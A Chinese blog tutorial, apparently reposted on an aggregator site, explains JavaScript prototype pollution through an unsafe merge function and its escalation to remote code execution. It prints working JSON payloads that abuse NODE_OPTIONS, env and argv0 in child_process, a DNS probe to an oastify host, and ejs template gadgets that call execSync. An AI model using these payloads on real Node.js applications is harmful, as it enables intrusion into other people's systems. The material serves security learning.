js原型链污染

news/2024/12/26 1:35:51/文章来源:https://www.cnblogs.com/gaorenyusi/p/18548416

js原型链污染

原理介绍

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

demo:

const foo = {bar: 1
};
// 如果这里将foo.__proto__改掉
foo.__proto__.bar = 2
console.log(foo.bar); // 这里正常输出 1
// 新声明一个
const zoo = {};
console.log(zoo.bar); // 这里错误输出 2,因为zoo类没有这个bar属性,所以会去寻找父类object的bar属性,也就是刚刚污染的2。

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

攻击场景

其实我们主要看哪些场景会允许代码设置__proto__?主要有以下两种:

  • 对象merge
  • 对象clone
  • Node.js的construtor

一般的 merge 函数,merge操作是最常见可能控制键名的操作,也最能被原型链攻击。一个简单的例子:

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)object3 = {}
console.log(object3.b)

需要注意的点是:在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

这里就是循环遍历出 source 中的键名,然后判断键名是否在 source 和 target 中存在,如果都存在就再次执行 merge,不满足就给 target[key] 赋上 source[key] 的值,

第一次就是让 target 的 a 键赋值为 1,也就相当于给 object.a 赋值为 1。

然后第二次,键名就为 __proto__ 了,在 target 和 suorce 中都存在,再次执行 merge 函数

这时 key 为 b,就会给 target['b'] 赋值为 2。

怎么利用呢?参考: https://xz.aliyun.com/t/7184

Prototype Pollution to RCE

简单来说就是通过 js 的原型链污染环境变量进行 rce,

PP2RCE 通过 env 变量

__proto__

由于 node 的 child_process 库中的 normalizeSpawnArguments 函数的工作方式,当调用某些内容以便为进程设置新的 env 变量时,只需污染任何内容。例如,如果执行 __proto__.avar=“valuevar 操作,则进程将使用名为 avar 且值为 valuevar 的 var 生成。但是,为了让 env 变量成为第一个变量,需要污染 .env 属性,并且(仅在某些方法中)该 var 将是第一个变量(允许攻击)。这就是为什么在以下攻击中 NODE_OPTIONS 不在 .env 中的原因。
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}

constructor.prototype

{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}

PP2RCE 通过 env + cmdline

  • 它不是将 nodejs 有效载荷存储在文件 /proc/self/environ 中,而是存储在 /proc/self/cmdlineargv0 中。

  • 然后,它不是通过 NODE_OPTIONS 要求文件 /proc/self/environ,而是 要求 /proc/self/cmdline

{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}

PP2RCE 漏洞 child_process 函数

当一个 进程被生成 使用 child_process 的某些方法(如 forkspawn 或其他)时,它调用方法 normalizeSpawnArguments,这是一个 原型污染工具,用于创建新的环境变量

具体每个函数利用参考:PP2RCE 漏洞 child_process 函数

DNS 验证

可以通过 dns 来判断是否存在漏洞

{
"__proto__": {"argv0":"node","shell":"node","NODE_OPTIONS":"--inspect=id.oastify.com"}
}

ejs 模板 rce

当存在 ejs 模板渲染的时候可以通过污染模板属性进行命令执行,

跟进会调用到 renderFile 函数,看到在 renderFile 函数最后调用了 tryHandleCache 方法

继续跟进 tryHandleCache 方法中,调用了 handleCache

handleCache 的最后又调用了 compile 方法

compile 方法中实列化了 Template,跟进看看

看到给非常多的属性进行了一个赋值

现在回到 templ.compile(); 方法中,在该方法中经历了一些复杂的赋值,最后动态命令执行的地方。

可以看到 opts.localsNamesrc 直接被拼接到了里面,但是直接污染 localsName 会报错,所以需要从 src 入手找那些变量拼接了,这里涉及到了五个变量 outputFunctionNameescape , localsNamedestructuredLocalsfilename

具体分析就跳过了,其中四个属性可以进行 rce

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
{"__proto__":{"__proto__":{"destructuredLocals":["a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"]}}}{"__proto__":{"__proto__":{"destructuredLocals":["__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"]}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/834140.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于米尔NXP i.MX93开发板OpenCV的相机捕捉视频进行人脸检测

本篇测评由优秀测评者“eefocus_3914144”提供。 本文将介绍基于米尔电子MYD-LMX93开发板(米尔基于NXP i.MX93开发板)的基于OpenCV的人脸检测方案测试。 OpenCV提供了一个非常简单的接口,用于相机捕捉一个视频(我用的电脑内置摄像头)1、安装python3-opencvapt install pyth…

hbase-2.2.7分布式搭建文档(附详细操作步骤命令及相关操作截图)

hbase-2.2.7分布式搭建文档 一,搭建前准备 1.检查是否已经安装JDK 2.搭建hbase前需要先搭建好hadoop 3.检查zookeeper是否正常启动 #启动zookeeper(三台都要启动) zkServer.sh start#查看zookeeper状态(一个leader两个follower) zkServer.sh status4.到官网或国内镜像站下载hb…

自动化构建镜像:Packer

在介绍Packer之前,先来回顾一下未使用Packer时自定义虚拟机镜像的步骤。先在本地启动一个虚拟机,从安装系统开始,再进行自定义配置或应用安装,最后封装压缩成镜像,详细操作步骤可以参考我之前写的文档,制作Centos 7镜像:https://robin-2016.github.io/2019/04/08/制作op…

牛逼!字节 IDE 来了!!

前言 大家好,我是R哥。 最近做面试辅导,很多同学和我抱怨说,去 XX 公司面试,刚进公司,面试官还没有见着呢,就让我先手撕两道算法题,做不出来的话直接 GG。 没错,如果你想拿一份还不错的收入,想去中大厂,特别是字节、阿里、腾讯这些一线大厂,面试前都会有一次算法笔试…

虚拟串口工具和串口调试工具详解 - 附下载地址

简介 串口开发过程中, 一般需要以下工具用于开发和调试:虚拟串口工具简介 虚拟串口软件, 可以在系统中虚拟出串口, 这样开发人员可以在没有物理串口设备的情况下进行开发. 串口调试工具简介 串口调试工具主要用于给串口发送信息, 测试串口是否连通, 发送消息是否正常被接收等.本…

怎么用云游戏玩Steam?ToDesk云电脑新手入门教程

对于新手玩家来说,想要上手Steam游戏,这门槛真有点高。不说要从众多真假难辨的软件中找出正版,遇到Steam内想玩的游戏还得等着下载安装解压,费时又费力。玩家想解决这个困难也很简单,只需下个ToDesk云游戏即可。它是ToDesk云电脑中专门玩游戏的版块,预安装了上百款热门游…

Vuex与Redux比较

由于Vuex和Redux都是从Flux中衍生出来,同时Vuex对Redux部分思想也有一些借鉴,所以Vuex和Redux有很多相同点。很多资料也有介绍两者的对比,但大部分讲解的比较抽象,较难理解。笔者整理两者异同点,同时配有标准案例进行说明。注意本文不是科普vuex和redux相关概念,相关知识…

第6篇 Scrum 冲刺博客

作业要求这个作业属于哪个课程 计科34班这个作业的要求在哪里 团队作业4——项目冲刺这个作业的目标 1.站立式会议2.发布项目燃尽图3.每人的代码/文档签入记录4.适当的项目程序/模块的最新(运行)截图5.每日每人总结会议照片昨日已完成的工作/今天计划完成的工作成员 昨天已完…

RabbitMQ 五种模式

RabbitMQ是一种常用的消息队列服务,它提供了五种消息模型:简单模型、工作队列模型、发布/订阅模型、路由模型、主题模型。1. 简单模型(Simple Message Queue,简称SQS):一个生产者,一个消费者,一个队列。 2. 工作队列模型(Work Queue):多个消费者共同处理一个队列中的…

如何防止手机被远程控制,安全远控推荐ToDesk

随着电子设备及各样应用的兴起,手机可以为人们带来的便利已越来越多,从二十年前的联络通话,到现如今的社交娱乐、导航、缴费等;通过智能手机中的软件均可轻松实现。 然而虽然手机的妙用有很多,但对于一些不太善用电子设备的中老年亲友来说,在使用中却也存在一定的被诈骗风…

Docker不再神秘 ------Ubuntu20.04 安装Docker 及实用技巧,建议收藏

Dockerdocker是一种容器,简而言之就是别人把一堆环境配置好了,你可以下载下来直接拿来使用(我的个人理解),有点像虚拟机你知道吧。比如下面这样,我直接打开了一个小电脑(docker),里面桌面啊、root啊全都有,跟你ubuntu系统类似,单说细节还不完全一样,毕竟它轻便哈哈…

SELF-REFINE: Iterative Refinement with Self-Feedback

1. 概述 基于给定的Prompt,大语言模型生成的Reponse可能不是最好的(这一点我认为当前的LLM大部分都是Decoder架构,基于已生成的结果产生下一个Token,一旦之前生成结果出错,也不容易及时改正。)。 本文为原始的生成添加了额外的反思重写步骤,过程如下:对于给定的\(Input…